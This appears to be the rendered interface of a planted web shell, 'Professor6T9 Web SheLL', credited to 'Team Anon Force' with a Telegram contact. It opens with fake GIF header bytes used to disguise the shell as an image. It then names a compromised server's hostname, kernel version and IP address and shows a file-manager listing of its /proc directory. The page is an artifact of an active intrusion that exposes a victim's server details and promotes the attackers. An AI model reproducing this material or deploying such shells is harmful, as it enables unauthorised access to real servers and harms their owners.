GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux altar25.supremepanel25.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
 LiteSpeed
 170.10.161.140
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-25 12:52:42
.. dir - root/root 0755 2025-12-09 10:20:18
1755531 dir - i8872627/i8872627 0555 2026-02-01 03:57:05
1775345 dir - i8872627/i8872627 0555 2026-02-01 03:57:05
1792757 dir - i8872627/i8872627 0555 2026-02-01 03:57:05
3660425 dir - i8872627/i8872627 0555 2026-02-01 03:57:05
978903 dir - i8872627/i8872627 0555 2026-02-01 03:57:05
acpi dir - root/root 0555 2025-07-25 12:52:44
bus dir - root/root 0555 2025-07-25 12:52:53
driver dir - root/root 0555 2026-02-01 03:57:05
fs dir - root/root 0555 2025-07-25 12:52:52
irq dir - root/root 0555 2025-07-25 12:52:46
kcare dir - root/root 0555 2026-02-01 03:57:05
lve dir - root/root 0555 2026-02-01 03:57:05
net link - i8872627/i8872627 0555 2026-02-01 03:57:05
scsi dir - root/root 0555 2025-07-25 12:52:53
self link - i8872627/i8872627 0555 2026-02-01 03:57:05
sys dir - root/root 0555 2025-07-25 12:52:43
sysvipc dir - root/root 0555 2026-02-01 03:57:05
thread-self link - i8872627/i8872627 0555 2026-02-01 03:57:05
tty dir - root/root 0555 2026-02-01 03:57:05
buddyinfo 0 B root/root 0444 2026-02-01 03:57:05
cgroups 0 B root/root 0444 2026-02-01 03:57:05
cmdline inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
consoles 0 B root/root 0444 2026-02-01 03:57:05
cpuinfo inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
crypto 0 B root/root 0444 2026-02-01 03:57:05
devices 0 B root/root 0444 2026-02-01 03:57:05
diskstats 0 B root/root 0444 2026-02-01 03:57:05
dma 0 B root/root 0444 2026-02-01 03:57:05
execdomains 0 B root/root 0444 2026-02-01 03:57:05
fb 0 B root/root 0444 2026-02-01 03:57:05
filesystems inode/x-empty 0 B root/root 0444 2026-02-01 03:56:49
interrupts 0 B root/root 0444 2026-02-01 03:57:05
iomem 0 B root/root 0444 2026-02-01 03:57:05
ioports 0 B root/root 0444 2026-02-01 03:57:05
kallsyms 0 B root/root 0444 2025-07-25 12:52:53
kcore 128 TB root/root 0400 2025-07-25 12:52:43
key-users 0 B root/root 0444 2026-02-01 03:57:05
keys 0 B root/root 0444 2026-02-01 03:57:05
kmsg 0 B root/root 0400 2026-02-01 03:57:05
kpagecgroup 0 B root/root 0400 2026-02-01 03:57:05
kpagecount 0 B root/root 0400 2026-02-01 03:57:05
kpageflags 0 B root/root 0400 2026-02-01 03:57:05
loadavg inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
locks 0 B root/root 0444 2026-02-01 03:57:05
mdstat 0 B root/root 0444 2026-02-01 03:57:05
meminfo inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
misc 0 B root/root 0444 2026-02-01 03:57:05
module_stats 0 B root/root 0444 2026-02-01 03:57:05
modules 0 B root/root 0444 2026-02-01 03:57:05
mounts inode/x-empty 0 B i8872627/i8872627 0444 2026-02-01 03:57:05
mtrr 0 B root/root 0644 2025-07-25 12:52:53
pagetypeinfo 0 B root/root 0400 2026-02-01 03:57:05
partitions 0 B root/root 0444 2026-02-01 03:57:05
sched_debug 0 B root/root 0444 2026-02-01 03:57:05
schedstat 0 B root/root 0444 2026-02-01 03:57:05
slabinfo 0 B root/root 0400 2026-02-01 03:57:05
softirqs 0 B root/root 0444 2026-02-01 03:57:05
stat inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
swaps 0 B root/root 0444 2025-07-25 12:52:43
sysrq-trigger 0 B root/root 0200 2025-07-25 12:52:53
timer_list 0 B root/root 0400 2026-02-01 03:57:05
uptime inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
version inode/x-empty 0 B root/root 0444 2026-02-01 03:57:05
vmallocinfo 0 B root/root 0400 2026-02-01 03:57:05
vmstat 0 B root/root 0444 2026-02-01 03:57:05
zoneinfo 0 B root/root 0444 2026-02-01 03:57:05
© Professor6T9